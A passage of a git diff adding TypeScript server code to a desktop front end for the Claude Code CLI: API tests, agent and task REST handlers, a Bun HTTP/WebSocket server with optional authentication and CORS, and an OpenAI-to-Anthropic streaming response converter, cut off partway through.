+      process.env.CLAUDE_CONFIG_DIR = originalConfigDir
+    } else {
+      delete process.env.CLAUDE_CONFIG_DIR
+    }
+    await cleanupTmpDir(tmpDir)
+  })
+
+  it('should find matches in workspace files', async () => {
+    const results = await service.searchWorkspace('Hello', { cwd: searchDir })
+    expect(results.length).toBeGreaterThan(0)
+    expect(results[0].text).toContain('Hello')
+  })
+
+  it('should return empty results when nothing matches', async () => {
+    const results = await service.searchWorkspace('ZZZZNONEXISTENT', {
+      cwd: searchDir,
+    })
+    expect(results).toHaveLength(0)
+  })
+
+  it('should respect maxResults limit', async () => {
+    // 写入多行匹配
+    const lines = Array.from({ length: 50 }, (_, i) => `match line ${i}`).join(
+      '\n',
+    )
+    await fs.writeFile(path.join(searchDir, 'many.txt'), lines)
+
+    const results = await service.searchWorkspace('match', {
+      cwd: searchDir,
+      maxResults: 5,
+    })
+    expect(results.length).toBeLessThanOrEqual(5)
+  })
+
+  it('should reject empty query', async () => {
+    await expect(service.searchWorkspace('')).rejects.toThrow()
+  })
+
+  it('should return empty session results when no projects dir exists', async () => {
+    const results = await service.searchSessions('test')
+    expect(results).toEqual([])
+  })
+})
+
+// ─── Scheduled Tasks API integration ────────────────────────────────────────
+
+describe('Scheduled Tasks API', () => {
+  // 直接测试 handler 函数，不需要启动完整服务器
+  let handleScheduledTasksApi: (
+    req: Request,
+    url: URL,
+    segments: string[],
+  ) => Promise<Response>
+
+  beforeEach(async () => {
+    tmpDir = await createTmpDir()
+    process.env.CLAUDE_CONFIG_DIR = tmpDir
+
+    // 动态导入以获取最新的环境变量
+    const mod = await import('../api/scheduled-tasks.js')
+    handleScheduledTasksApi = mod.handleScheduledTasksApi
+  })
+
+  afterEach(async () => {
+    if (originalConfigDir) {
+      process.env.CLAUDE_CONFIG_DIR = originalConfigDir
+    } else {
+      delete process.env.CLAUDE_CONFIG_DIR
+    }
+    await cleanupTmpDir(tmpDir)
+  })
+
+  it('should list empty tasks via GET', async () => {
+    const req = new Request('http://localhost/api/scheduled-tasks', {
+      method: 'GET',
+    })
+    const url = new URL(req.url)
+    const resp = await handleScheduledTasksApi(req, url, [
+      'api',
+      'scheduled-tasks',
+    ])
+    const body = (await resp.json()) as { tasks: unknown[] }
+    expect(resp.status).toBe(200)
+    expect(body.tasks).toEqual([])
+  })
+
+  it('should create a task via POST', async () => {
+    const req = new Request('http://localhost/api/scheduled-tasks', {
+      method: 'POST',
+      headers: { 'Content-Type': 'application/json' },
+      body: JSON.stringify({
+        cron: '0 9 * * *',
+        prompt: 'Daily review',
+        recurring: true,
+      }),
+    })
+    const url = new URL(req.url)
+    const resp = await handleScheduledTasksApi(req, url, [
+      'api',
+      'scheduled-tasks',
+    ])
+    const body = (await resp.json()) as { task: { id: string; prompt: string } }
+    expect(resp.status).toBe(201)
+    expect(body.task.id).toBeDefined()
+    expect(body.task.prompt).toBe('Daily review')
+  })
+
+  it('should CRUD a full lifecycle', async () => {
+    // Create
+    const createReq = new Request('http://localhost/api/scheduled-tasks', {
+      method: 'POST',
+      headers: { 'Content-Type': 'application/json' },
+      body: JSON.stringify({ cron: '0 9 * * *', prompt: 'Test task' }),
+    })
+    const createResp = await handleScheduledTasksApi(
+      createReq,
+      new URL(createReq.url),
+      ['api', 'scheduled-tasks'],
+    )
+    const { task } = (await createResp.json()) as {
+      task: { id: string; prompt: string }
+    }
+
+    // Update
+    const updateReq = new Request(
+      `http://localhost/api/scheduled-tasks/${task.id}`,
+      {
+        method: 'PUT',
+        headers: { 'Content-Type': 'application/json' },
+        body: JSON.stringify({ prompt: 'Updated task' }),
+      },
+    )
+    const updateResp = await handleScheduledTasksApi(
+      updateReq,
+      new URL(updateReq.url),
+      ['api', 'scheduled-tasks', task.id],
+    )
+    const updated = (await updateResp.json()) as {
+      task: { id: string; prompt: string }
+    }
+    expect(updated.task.prompt).toBe('Updated task')
+
+    // Delete
+    const deleteReq = new Request(
+      `http://localhost/api/scheduled-tasks/${task.id}`,
+      { method: 'DELETE' },
+    )
+    const deleteResp = await handleScheduledTasksApi(
+      deleteReq,
+      new URL(deleteReq.url),
+      ['api', 'scheduled-tasks', task.id],
+    )
+    expect(deleteResp.status).toBe(200)
+
+    // Verify empty
+    const listReq = new Request('http://localhost/api/scheduled-tasks', {
+      method: 'GET',
+    })
+    const listResp = await handleScheduledTasksApi(
+      listReq,
+      new URL(listReq.url),
+      ['api', 'scheduled-tasks'],
+    )
+    const list = (await listResp.json()) as { tasks: unknown[] }
+    expect(list.tasks).toHaveLength(0)
+  })
+})
diff --git a/_all-in-one-upload/cc-haha/src/server/api/agents.ts b/_all-in-one-upload/cc-haha/src/server/api/agents.ts
new file mode 100644
index 0000000..de23d84
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/server/api/agents.ts
@@ -0,0 +1,234 @@
+/**
+ * Agents REST API
+ *
+ * GET    /api/agents        — 获取 Agent 列表
+ * GET    /api/agents/:name  — 获取 Agent 详情
+ * POST   /api/agents        — 创建 Agent
+ * PUT    /api/agents/:name  — 更新 Agent
+ * DELETE /api/agents/:name  — 删除 Agent
+ *
+ * GET    /api/tasks         — 获取后台任务列表
+ * GET    /api/tasks/:id     — 获取任务详情
+ */
+
+import { AgentService } from '../services/agentService.js'
+import { taskService } from '../services/taskService.js'
+import { ApiError, errorResponse } from '../middleware/errorHandler.js'
+import { resetTaskList } from '../../utils/tasks.js'
+import {
+  resolveAgentModelDisplay,
+  resolveAgentOverrides,
+  type ResolvedAgent,
+} from '../../tools/AgentTool/agentDisplay.js'
+import {
+  clearAgentDefinitionsCache,
+  getAgentDefinitionsWithOverrides,
+  type AgentDefinition as SharedAgentDefinition,
+} from '../../tools/AgentTool/loadAgentsDir.js'
+import { getCwd } from '../../utils/cwd.js'
+
+const agentService = new AgentService()
+
+export async function handleAgentsApi(
+  req: Request,
+  url: URL,
+  segments: string[],
+): Promise<Response> {
+  try {
+    const resource = segments[1] // 'agents' | 'tasks'
+
+    if (resource === 'tasks') {
+      return await handleTasksApi(req, segments)
+    }
+
+    return await handleAgents(req, url, segments)
+  } catch (error) {
+    return errorResponse(error)
+  }
+}
+
+// ─── Agent CRUD ─────────────────────────────────────────────────────────────
+
+async function handleAgents(
+  req: Request,
+  url: URL,
+  segments: string[],
+): Promise<Response> {
+  const method = req.method
+  const agentName = segments[2] ? decodeURIComponent(segments[2]) : undefined
+
+  // ── GET /api/agents ──────────────────────────────────────────────────
+  if (method === 'GET' && !agentName) {
+    const cwd = url.searchParams.get('cwd') || getCwd()
+    const { activeAgents, allAgents } = await getAgentDefinitionsWithOverrides(cwd)
+    const resolvedAgents = resolveAgentOverrides(allAgents, activeAgents)
+
+    return Response.json({
+      activeAgents: activeAgents.map(agent => serializeActiveAgent(agent, true)),
+      allAgents: resolvedAgents.map(serializeResolvedAgent),
+    })
+  }
+
+  // ── GET /api/agents/:name ────────────────────────────────────────────
+  if (method === 'GET' && agentName) {
+    const agent = await agentService.getAgent(agentName)
+    if (!agent) {
+      throw ApiError.notFound(`Agent not found: ${agentName}`)
+    }
+    return Response.json({ agent })
+  }
+
+  // ── POST /api/agents ─────────────────────────────────────────────────
+  if (method === 'POST' && !agentName) {
+    const body = await parseJsonBody(req)
+    if (!body.name || typeof body.name !== 'string') {
+      throw ApiError.badRequest('Missing or invalid "name" in request body')
+    }
+    await agentService.createAgent({
+      name: body.name as string,
+      description: body.description as string | undefined,
+      model: body.model as string | undefined,
+      tools: body.tools as string[] | undefined,
+      systemPrompt: body.systemPrompt as string | undefined,
+      color: body.color as string | undefined,
+    })
+    clearAgentDefinitionsCache()
+    return Response.json({ ok: true }, { status: 201 })
+  }
+
+  // ── PUT /api/agents/:name ────────────────────────────────────────────
+  if (method === 'PUT' && agentName) {
+    const body = await parseJsonBody(req)
+    await agentService.updateAgent(agentName, body as Record<string, unknown>)
+    clearAgentDefinitionsCache()
+    const updated = await agentService.getAgent(agentName)
+    return Response.json({ agent: updated })
+  }
+
+  // ── DELETE /api/agents/:name ─────────────────────────────────────────
+  if (method === 'DELETE' && agentName) {
+    await agentService.deleteAgent(agentName)
+    clearAgentDefinitionsCache()
+    return Response.json({ ok: true })
+  }
+
+  throw new ApiError(
+    405,
+    `Method ${method} not allowed on /api/agents${agentName ? `/${agentName}` : ''}`,
+    'METHOD_NOT_ALLOWED',
+  )
+}
+
+// ─── Tasks API ─────────────────────────────────────────────────────────────
+//
+// GET /api/tasks                         → list all tasks (across all task lists)
+// GET /api/tasks/lists                   → list all task lists with summaries
+// GET /api/tasks/lists/:taskListId       → get all tasks for a specific task list
+// GET /api/tasks/lists/:taskListId/:id   → get a single task
+// POST /api/tasks/lists/:taskListId/reset → clear a completed task list
+
+async function handleTasksApi(
+  req: Request,
+  segments: string[],
+): Promise<Response> {
+  const sub = segments[2] // 'lists' or undefined
+
+  if (sub === 'lists') {
+    const taskListId = segments[3]
+    const taskId = segments[4]
+
+    if (req.method === 'POST' && taskListId && taskId === 'reset') {
+      await resetTaskList(taskListId)
+      return Response.json({ ok: true })
+    }
+
+    if (req.method !== 'GET') {
+      throw new ApiError(
+        405,
+        `Method ${req.method} not allowed on /api/tasks/lists`,
+        'METHOD_NOT_ALLOWED',
+      )
+    }
+
+    if (taskListId && taskId) {
+      // GET /api/tasks/lists/:taskListId/:taskId
+      const task = await taskService.getTask(taskListId, taskId)
+      if (!task) throw ApiError.notFound(`Task not found: ${taskListId}/${taskId}`)
+      return Response.json({ task })
+    }
+
+    if (taskListId) {
+      // GET /api/tasks/lists/:taskListId
+      const tasks = await taskService.getTasksForList(taskListId)
+      return Response.json({ tasks })
+    }
+
+    // GET /api/tasks/lists
+    const lists = await taskService.listTaskLists()
+    return Response.json({ lists })
+  }
+
+  if (req.method !== 'GET') {
+    throw new ApiError(
+      405,
+      `Method ${req.method} not allowed on /api/tasks`,
+      'METHOD_NOT_ALLOWED',
+    )
+  }
+
+  // GET /api/tasks — list all tasks
+  const tasks = await taskService.listTasks()
+  return Response.json({ tasks })
+}
+
+// ─── Helpers ────────────────────────────────────────────────────────────────
+
+async function parseJsonBody(req: Request): Promise<Record<string, unknown>> {
+  try {
+    return (await req.json()) as Record<string, unknown>
+  } catch {
+    throw ApiError.badRequest('Invalid JSON body')
+  }
+}
+
+type ApiAgentDefinition = {
+  agentType: string
+  description?: string
+  model?: string
+  modelDisplay?: string
+  tools?: string[]
+  systemPrompt?: string
+  color?: string
+  source: SharedAgentDefinition['source']
+  baseDir?: string
+  isActive: boolean
+}
+
+type ApiResolvedAgentDefinition = ApiAgentDefinition & {
+  overriddenBy?: SharedAgentDefinition['source']
+}
+
+function serializeActiveAgent(
+  agent: SharedAgentDefinition,
+  isActive: boolean,
+): ApiAgentDefinition {
+  return {
+    agentType: agent.agentType,
+    description: agent.whenToUse,
+    model: agent.model,
+    modelDisplay: resolveAgentModelDisplay(agent),
+    tools: agent.tools,
+    systemPrompt: agent.getSystemPrompt.length === 0 ? agent.getSystemPrompt() : undefined,
+    color: agent.color,
+    source: agent.source,
+    baseDir: agent.baseDir,
+    isActive,
+  }
+}
+
+function serializeResolvedAgent(agent: ResolvedAgent): ApiResolvedAgentDefinition {
+  return {
+    ...serializeActiveAgent(agent, !agent.overriddenBy),
+    overriddenBy: agent.overriddenBy,
+  }
+}
diff --git a/_all-in-one-upload/cc-haha/src/server/index.ts b/_all-in-one-upload/cc-haha/src/server/index.ts
new file mode 100644
index 0000000..7e6816a
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/server/index.ts
@@ -0,0 +1,271 @@
+/**
+ * Claude Code Desktop App — HTTP + WebSocket Server
+ *
+ * 为桌面端 UI 提供 REST API 和 WebSocket 实时通信。
+ * 读写与 CLI 完全相同的文件系统，确保 CLI/UI 数据互通。
+ */
+
+import { handleApiRequest } from './router.js'
+import { handleWebSocket, type WebSocketData } from './ws/handler.js'
+import { corsHeaders } from './middleware/cors.js'
+import { requireAuth } from './middleware/auth.js'
+import { teamWatcher } from './services/teamWatcher.js'
+import { cronScheduler } from './services/cronScheduler.js'
+import { handleProxyRequest } from './proxy/handler.js'
+import { ProviderService } from './services/providerService.js'
+import { handleHahaOAuthCallback } from './api/haha-oauth.js'
+import { ensureDesktopCliLauncherInstalled } from './services/desktopCliLauncherService.js'
+
+function readArgValue(flag: string): string | undefined {
+  const args = process.argv.slice(2)
+  const index = args.indexOf(flag)
+  if (index === -1) return undefined
+  return args[index + 1]
+}
+
+function hasArgFlag(flag: string): boolean {
+  return process.argv.slice(2).includes(flag)
+}
+
+function resolveServerOptions() {
+  const portArg = readArgValue('--port')
+  const port = Number.parseInt(portArg || process.env.SERVER_PORT || '3456', 10)
+  const host = readArgValue('--host') || process.env.SERVER_HOST || '127.0.0.1'
+  const cliPath = readArgValue('--cli-path')
+  const authRequired = hasArgFlag('--auth-required')
+
+  if (cliPath) {
+    process.env.CLAUDE_CLI_PATH = cliPath
+  }
+
+  return { port, host, authRequired }
+}
+
+const SERVER_OPTIONS = resolveServerOptions()
+const PORT = SERVER_OPTIONS.port
+const HOST = SERVER_OPTIONS.host
+
+export function startServer(port = PORT, host = HOST) {
+  ProviderService.setServerPort(port)
+  const localConnectHost =
+    host === '0.0.0.0' || host === '127.0.0.1' || host === 'localhost'
+      ? '127.0.0.1'
+      : host
+
+  /**
+   * Auth is required when explicitly opted in or when bound to a non-localhost address.
+   * - Default localhost dev: no auth needed (tests pass as-is).
+   * - Production / non-localhost (e.g. 0.0.0.0): auth enforced automatically.
+   * - Explicit opt-in:  SERVER_AUTH_REQUIRED=1 forces auth even on localhost.
+   * - Explicit opt-out: SERVER_AUTH_REQUIRED=0 disables auth even on 0.0.0.0
+   *   (use only in trusted environments — e.g. a Docker container whose port
+   *    is published to host loopback only). Takes precedence over the auto rule.
+   */
+  const authForcedOff = process.env.SERVER_AUTH_REQUIRED === '0'
+  const authRequired = authForcedOff
+    ? false
+    : SERVER_OPTIONS.authRequired ||
+      process.env.SERVER_AUTH_REQUIRED === '1' ||
+      host !== '127.0.0.1'
+
+  const server = Bun.serve<WebSocketData>({
+    port,
+    hostname: host,
+    idleTimeout: 60,
+
+    async fetch(req, server) {
+      const url = new URL(req.url)
+
+      const origin = req.headers.get('Origin')
+
+      // Handle CORS preflight
+      if (req.method === 'OPTIONS') {
+        return new Response(null, { status: 204, headers: corsHeaders(origin) })
+      }
+
+      // WebSocket upgrade
+      if (url.pathname.startsWith('/ws/')) {
+        // Enforce authentication when required
+        if (authRequired) {
+          const authError = requireAuth(req)
+          if (authError) {
+            const headers = new Headers(authError.headers)
+            for (const [key, value] of Object.entries(corsHeaders(origin))) {
+              headers.set(key, value)
+            }
+            return new Response(authError.body, { status: authError.status, headers })
+          }
+        }
+
+        // Validate session ID format
+        const sessionId = url.pathname.split('/').pop() || ''
+        if (!sessionId || !/^[0-9a-zA-Z_-]{1,64}$/.test(sessionId)) {
+          return new Response('Invalid session ID', { status: 400 })
+        }
+        const upgraded = server.upgrade(req, {
+          data: {
+            sessionId,
+            connectedAt: Date.now(),
+            channel: 'client',
+            sdkToken: null,
+            serverPort: port,
+            serverHost: localConnectHost,
+          },
+        })
+        if (upgraded) return undefined
+        return new Response('WebSocket upgrade failed', { status: 400 })
+      }
+
+      // Internal SDK WebSocket used by the spawned Claude CLI.
+      if (url.pathname.startsWith('/sdk/')) {
+        const sessionId = url.pathname.split('/').pop() || ''
+        if (!sessionId || !/^[0-9a-zA-Z_-]{1,64}$/.test(sessionId)) {
+          return new Response('Invalid session ID', { status: 400 })
+        }
+        const upgraded = server.upgrade(req, {
+          data: {
+            sessionId,
+            connectedAt: Date.now(),
+            channel: 'sdk',
+            sdkToken: url.searchParams.get('token'),
+            serverPort: port,
+            serverHost: localConnectHost,
+          },
+        })
+        if (upgraded) return undefined
+        return new Response('WebSocket upgrade failed', { status: 400 })
+      }
+
+      if (url.pathname === '/callback') {
+        return handleHahaOAuthCallback(url)
+      }
+
+      // REST API
+      if (url.pathname.startsWith('/api/')) {
+        // Enforce authentication when required
+        if (authRequired) {
+          const authError = requireAuth(req)
+          if (authError) {
+            const headers = new Headers(authError.headers)
+            for (const [key, value] of Object.entries(corsHeaders(origin))) {
+              headers.set(key, value)
+            }
+            return new Response(authError.body, { status: authError.status, headers })
+          }
+        }
+
+        try {
+          const response = await handleApiRequest(req, url)
+          // Add CORS headers to all responses
+          const headers = new Headers(response.headers)
+          for (const [key, value] of Object.entries(corsHeaders(origin))) {
+            headers.set(key, value)
+          }
+          return new Response(response.body, {
+            status: response.status,
+            headers,
+          })
+        } catch (error) {
+          console.error('[Server] API error:', error)
+          return Response.json(
+            { error: 'Internal server error' },
+            { status: 500, headers: corsHeaders() }
+          )
+        }
+      }
+
+      // Proxy — protocol-translating reverse proxy for OpenAI-compatible APIs
+      if (url.pathname.startsWith('/proxy/')) {
+        if (authRequired) {
+          const authError = requireAuth(req)
+          if (authError) {
+            const headers = new Headers(authError.headers)
+            for (const [key, value] of Object.entries(corsHeaders(origin))) {
+              headers.set(key, value)
+            }
+            return new Response(authError.body, { status: authError.status, headers })
+          }
+        }
+        try {
+          const response = await handleProxyRequest(req, url)
+          const headers = new Headers(response.headers)
+          for (const [key, value] of Object.entries(corsHeaders(origin))) {
+            headers.set(key, value)
+          }
+          return new Response(response.body, {
+            status: response.status,
+            headers,
+          })
+        } catch (error) {
+          console.error('[Server] Proxy error:', error)
+          return Response.json(
+            { type: 'error', error: { type: 'api_error', message: 'Internal proxy error' } },
+            { status: 500, headers: corsHeaders() },
+          )
+        }
+      }
+
+      // Health check
+      if (url.pathname === '/health') {
+        return Response.json(
+          { status: 'ok', timestamp: new Date().toISOString() },
+          { headers: corsHeaders(origin) },
+        )
+      }
+
+      return new Response('Not Found', { status: 404 })
+    },
+
+    websocket: handleWebSocket,
+  })
+
+  // Start watching ~/.claude/teams/ for real-time WebSocket push
+  teamWatcher.start()
+
+  // Start the cron scheduler to execute scheduled tasks
+  cronScheduler.start()
+
+  void ensureDesktopCliLauncherInstalled().catch((error) => {
+    console.error(
+      '[desktop-cli-launcher] failed to install bundled launcher:',
+      error instanceof Error ? error.message : error,
+    )
+  })
+
+  console.log(`[Server] Claude Code API server running at http://${host}:${port}`)
+  return server
+}
+
+// ─── Graceful shutdown: kill all CLI subprocesses on exit ────────────────────
+import { conversationService } from './services/conversationService.js'
+
+function cleanupAllSessions() {
+  const active = conversationService.getActiveSessions()
+  if (active.length > 0) {
+    console.log(`[Server] Shutting down — killing ${active.length} CLI subprocess(es)`)
+    for (const sessionId of active) {
+      conversationService.stopSession(sessionId)
+    }
+  }
+}
+
+process.on('SIGTERM', () => {
+  console.log('[Server] Received SIGTERM')
+  cleanupAllSessions()
+  process.exit(0)
+})
+
+process.on('SIGINT', () => {
+  console.log('[Server] Received SIGINT')
+  cleanupAllSessions()
+  process.exit(0)
+})
+
+process.on('exit', () => {
+  cleanupAllSessions()
+})
+
+// Direct execution
+if (import.meta.main) {
+  startServer()
+}
diff --git a/_all-in-one-upload/cc-haha/src/server/middleware/cors.test.ts b/_all-in-one-upload/cc-haha/src/server/middleware/cors.test.ts
new file mode 100644
index 0000000..5753ada
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/server/middleware/cors.test.ts
@@ -0,0 +1,20 @@
+import { describe, expect, it } from 'bun:test'
+import { corsHeaders } from './cors'
+
+describe('corsHeaders', () => {
+  it('allows localhost browser origins', () => {
+    expect(corsHeaders('http://127.0.0.1:1420')['Access-Control-Allow-Origin']).toBe('http://127.0.0.1:1420')
+    expect(corsHeaders('http://localhost:3000')['Access-Control-Allow-Origin']).toBe('http://localhost:3000')
+  })
+
+  it('allows tauri webview origins used in production builds', () => {
+    expect(corsHeaders('http://tauri.localhost')['Access-Control-Allow-Origin']).toBe('http://tauri.localhost')
+    expect(corsHeaders('https://tauri.localhost')['Access-Control-Allow-Origin']).toBe('https://tauri.localhost')
+    expect(corsHeaders('tauri://localhost')['Access-Control-Allow-Origin']).toBe('tauri://localhost')
+  })
+
+  it('falls back for unknown origins', () => {
+    expect(corsHeaders('https://example.com')['Access-Control-Allow-Origin']).toBe('http://localhost:3000')
+    expect(corsHeaders(null)['Access-Control-Allow-Origin']).toBe('http://localhost:3000')
+  })
+})
diff --git a/_all-in-one-upload/cc-haha/src/server/proxy/streaming/openaiChatStreamToAnthropic.ts b/_all-in-one-upload/cc-haha/src/server/proxy/streaming/openaiChatStreamToAnthropic.ts
new file mode 100644
index 0000000..054ecc7
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/server/proxy/streaming/openaiChatStreamToAnthropic.ts
@@ -0,0 +1,542 @@
+/**
+ * Streaming SSE transformation: OpenAI Chat Completions → Anthropic Messages
+ *
+ * Converts an OpenAI-compatible streaming response into Anthropic Messages
+ * streaming format. Follows the patterns established by LiteLLM's
+ * AnthropicStreamWrapper for correctness across many providers.
+ *
+ * Anthropic event order:
+ *   message_start
+ *     → (content_block_start → content_block_delta* → content_block_stop)*
+ *     → message_delta
+ *     → message_stop
+ *
+ * Derived from cc-switch (https://github.com/farion1231/cc-switch)
+ * Original work by Jason Young, MIT License
+ *
+ * Provider-specific reasoning formats handled:
+ *   - delta.reasoning_content  (DeepSeek, OpenRouter, XAI, Perplexity, …)
+ *   - delta.thinking_blocks    (OpenAI o-series)
+ *   - delta.reasoning          (GLM-5, Cerebras, Groq — mapped to reasoning_content)
+ */
+
+import type { OpenAIChatStreamChunk } from '../transform/types.js'
+
+// ─── Types ─────────────────────────────────────────────────
+
+type ContentBlockType = 'text' | 'thinking' | 'tool_use'
+
+type ToolBlockState = {
+  id: string
+  name: string
+  argsBuffer: string
+  started: boolean
+  anthropicIndex: number
+}
+
+type SseEvent = { event: string; data: unknown }
+
+type StreamState = {
+  // Event queue — guarantees correct multi-event ordering
+  queue: SseEvent[]
+
+  // Content block tracking (mirrors LiteLLM's state machine)
+  currentBlockType: ContentBlockType
+  currentBlockIndex: number
+  nextContentIndex: number
+  blockStartSent: boolean   // content_block_start emitted for current block?
+  blockStopSent: boolean    // content_block_stop emitted for current block?
+
+  // Tool call tracking
+  toolBlocks: Map<number, ToolBlockState>
+
+  // Message lifecycle
+  model: string
+  messageStartSent: boolean
+  messageDeltaSent: boolean
+  messageStopSent: boolean
+
+  // Holding pattern: hold message_delta until usage arrives
+  // (some providers send finish_reason and usage in separate chunks)
+  heldMessageDelta: SseEvent | null
+}
+
+// ─── Helpers ───────────────────────────────────────────────
+
+function formatSse(event: string, data: unknown): string {
+  return `event: ${event}\ndata: ${JSON.stringify(data)}\n\n`
+}
+
+function createState(model: string): StreamState {
+  return {
+    queue: [],
+    currentBlockType: 'text',
+    currentBlockIndex: -1,
+    nextContentIndex: 0,
+    blockStartSent: false,
+    blockStopSent: false,
+    toolBlocks: new Map(),
+    model,
+    messageStartSent: false,
+    messageDeltaSent: false,
+    messageStopSent: false,
+    heldMessageDelta: null,
+  }
+}
+
+// ─── Public entry point ────────────────────────────────────
+
+/**
+ * Transform an OpenAI Chat Completions SSE stream into an Anthropic Messages SSE stream.
+ */
+export function openaiChatStreamToAnthropic(
+  upstream: ReadableStream<Uint8Array>,
+  model: string,
+): ReadableStream<Uint8Array> {
+  const encoder = new TextEncoder()
+  const decoder = new TextDecoder()
+  let buffer = ''
+  const state = createState(model)
+
+  return new ReadableStream({
+    async start(controller) {
+      const reader = upstream.getReader()
+      let errored = false
+
+      try {
+        while (true) {
+          const { done, value } = await reader.read()
+          if (done) break
+
+          buffer += decoder.decode(value, { stream: true })
+          const lines = buffer.split('\n')
+          buffer = lines.pop() || ''
+
+          for (const line of lines) {
+            const trimmed = line.trim()
+            if (!trimmed || trimmed.startsWith(':')) continue
+
+            if (trimmed === 'data: [DONE]') {
+              finalizeStream(state)
+              flushQueue(state, controller, encoder)
+              continue
+            }
+
+            if (!trimmed.startsWith('data: ')) continue
+            const jsonStr = trimmed.slice(6)
+
+            let chunk: OpenAIChatStreamChunk
+            try {
+              chunk = JSON.parse(jsonStr)
+            } catch {
+              continue
+            }
+
+            processChunk(chunk, state)
+            flushQueue(state, controller, encoder)
+          }
+        }
+      } catch (err) {
+        errored = true
+        controller.error(err)
+      } finally {
+        if (!errored) {
+          finalizeStream(state)
+          flushQueue(state, controller, encoder)
+          controller.close()
+        }
+      }
+    },
+  })
+}
+
+// ─── Queue management ──────────────────────────────────────
+
+function enqueue(state: StreamState, event: string, data: unknown): void {
+  state.queue.push({ event, data })
+}
+
+function flushQueue(
+  state: StreamState,
+  controller: ReadableStreamDefaultController,
+  encoder: TextEncoder,
+): void {
+  for (const item of state.queue) {
+    controller.enqueue(encoder.encode(formatSse(item.event, item.data)))
+  }
+  state.queue.length = 0
+}
+
+// ─── Message lifecycle events ──────────────────────────────
+
+function ensureMessageStart(state: StreamState, chunkId?: string): void {
+  if (state.messageStartSent) return
+  state.messageStartSent = true
+  enqueue(state, 'message_start', {
+    type: 'message_start',
+    message: {
+      id: chunkId || `msg_${Date.now()}`,
+      type: 'message',
+      role: 'assistant',
+      content: [],
+      model: state.model,
+      stop_reason: null,
+      stop_sequence: null,
+      usage: { input_tokens: 0, output_tokens: 0 },
+    },
+  })
+}
+
+// ─── Content block lifecycle ───────────────────────────────
+
+function openBlock(state: StreamState, blockType: ContentBlockType, block: Record<string, unknown>): number {
+  const index = state.nextContentIndex++
+  state.currentBlockType = blockType
+  state.currentBlockIndex = index
+  state.blockStartSent = true
+  state.blockStopSent = false
+  enqueue(state, 'content_block_start', {
+    type: 'content_block_start',
+    index,
+    content_block: block,
+  })
+  return index
+}
+
+function emitDelta(state: StreamState, index: number, delta: Record<string, unknown>): void {
+  enqueue(state, 'content_block_delta', {
+    type: 'content_block_delta',
+    index,
+    delta,
+  })
+}
+
+function closeCurrentBlock(state: StreamState): void {
+  if (!state.blockStartSent || state.blockStopSent) return
+  state.blockStopSent = true
+  enqueue(state, 'content_block_stop', {
+    type: 'content_block_stop',
+    index: state.currentBlockIndex,
+  })
+}
+
+function closeAllToolBlocks(state: StreamState): void {
+  for (const [, block] of state.toolBlocks) {
+    if (block.started) {
+      enqueue(state, 'content_block_stop', {
+        type: 'content_block_stop',
+        index: block.anthropicIndex,
+      })
+    }
+  }
+  state.toolBlocks.clear()
+}
+
+function closeAllOpenBlocks(state: StreamState): void {
+  // Close current text/thinking block
+  closeCurrentBlock(state)
+  // Close all tool blocks
+  closeAllToolBlocks(state)
+}
+
+// ─── Block type detection (follows LiteLLM priority) ───────
+
+type DeltaEx = Record<string, unknown> & {
+  content?: string | null
+  tool_calls?: Array<{
+    index: number
+    id?: string
+    type?: string
+    function?: { name?: string; arguments?: string }
+  }>
+}
+
+/**
+ * Extract reasoning/thinking content from delta regardless of provider format.
+ *
+ * Handles:
+ *   delta.reasoning_content  — DeepSeek, OpenRouter, XAI, Perplexity
+ *   delta.reasoning          — GLM-5, Cerebras, Groq
+ *   delta.thinking_blocks    — OpenAI o-series
+ */
+function extractReasoning(delta: DeltaEx): { thinking: string; signature: string } | null {
+  // Format 1: reasoning_content (most common)
+  if (typeof delta.reasoning_content === 'string' && delta.reasoning_content) {
+    return { thinking: delta.reasoning_content, signature: '' }
+  }
+
+  // Format 2: reasoning (GLM-5, Cerebras, Groq)
+  if (typeof delta.reasoning === 'string' && delta.reasoning) {
+    return { thinking: delta.reasoning, signature: '' }
+  }
+
+  // Format 3: thinking_blocks (OpenAI o-series)
+  const thinkingBlocks = delta.thinking_blocks as Array<Record<string, unknown>> | undefined
+  if (Array.isArray(thinkingBlocks) && thinkingBlocks.length > 0) {
+    const block = thinkingBlocks[0]
+    if (block.type === 'thinking') {
+      const thinking = (block.thinking as string) || ''
+      const signature = (block.signature as string) || ''
+      if (thinking || signature) {
+        return { thinking, signature }
+      }
+    }
+  }
+
+  return null
+}
+
+/**
+ * Determine what block type this chunk carries and whether it's a new block.
+ * Priority (matches LiteLLM): tool_calls > text > reasoning > ignore
+ */
+function detectBlockTransition(
+  delta: DeltaEx,
+  state: StreamState,
+): { type: ContentBlockType; isNew: boolean } | null {
+  // Priority 1: Tool calls
+  if (delta.tool_calls && delta.tool_calls.length > 0) {
+    const tc = delta.tool_calls[0]
+    // A tool call with function.name signals a NEW tool block
+    const isNew = state.currentBlockType !== 'tool_use' || !!(tc.function?.name)
+    return { type: 'tool_use', isNew }
+  }
+
+  // Priority 2: Text content
+  if (delta.content != null && delta.content !== '') {
+    const isNew = state.currentBlockType !== 'text' || !state.blockStartSent
+    return { type: 'text', isNew }
+  }
+
+  // Priority 3: Reasoning/thinking
+  const reasoning = extractReasoning(delta)
+  if (reasoning) {
+    const isNew = state.currentBlockType !== 'thinking' || !state.blockStartSent
+    return { type: 'thinking', isNew }
+  }
+
+  return null
+}
+
+// ─── Main chunk processing ─────────────────────────────────
+
+function processChunk(chunk: OpenAIChatStreamChunk, state: StreamState): void {
+  const choice = chunk.choices?.[0]
+
+  // Handle chunks with empty/missing choices (some providers send these)
+  if (!choice) {
+    // Check if this is a usage-only chunk (no choices but has usage)
+    if (chunk.usage && state.heldMessageDelta) {
+      mergeUsageIntoHeldDelta(state, chunk.usage)
+    }
+    return
+  }
+
+  // Update model from first chunk
+  state.model = chunk.model || state.model
+  ensureMessageStart(state, chunk.id)
+
+  const delta = choice.delta as DeltaEx
+
+  // Detect what this chunk carries
+  const transition = detectBlockTransition(delta, state)
+
+  if (transition) {
+    // Handle block transition: close previous block if type changed
+    if (transition.isNew && state.blockStartSent && !state.blockStopSent) {
+      if (transition.type !== 'tool_use') {
+        // For text/thinking, close the current block
+        closeCurrentBlock(state)
+      } else if (state.currentBlockType !== 'tool_use') {
+        // Switching TO tool_use from text/thinking: close current
+        closeCurrentBlock(state)
+      }
+    }
+
+    switch (transition.type) {
+      case 'thinking':
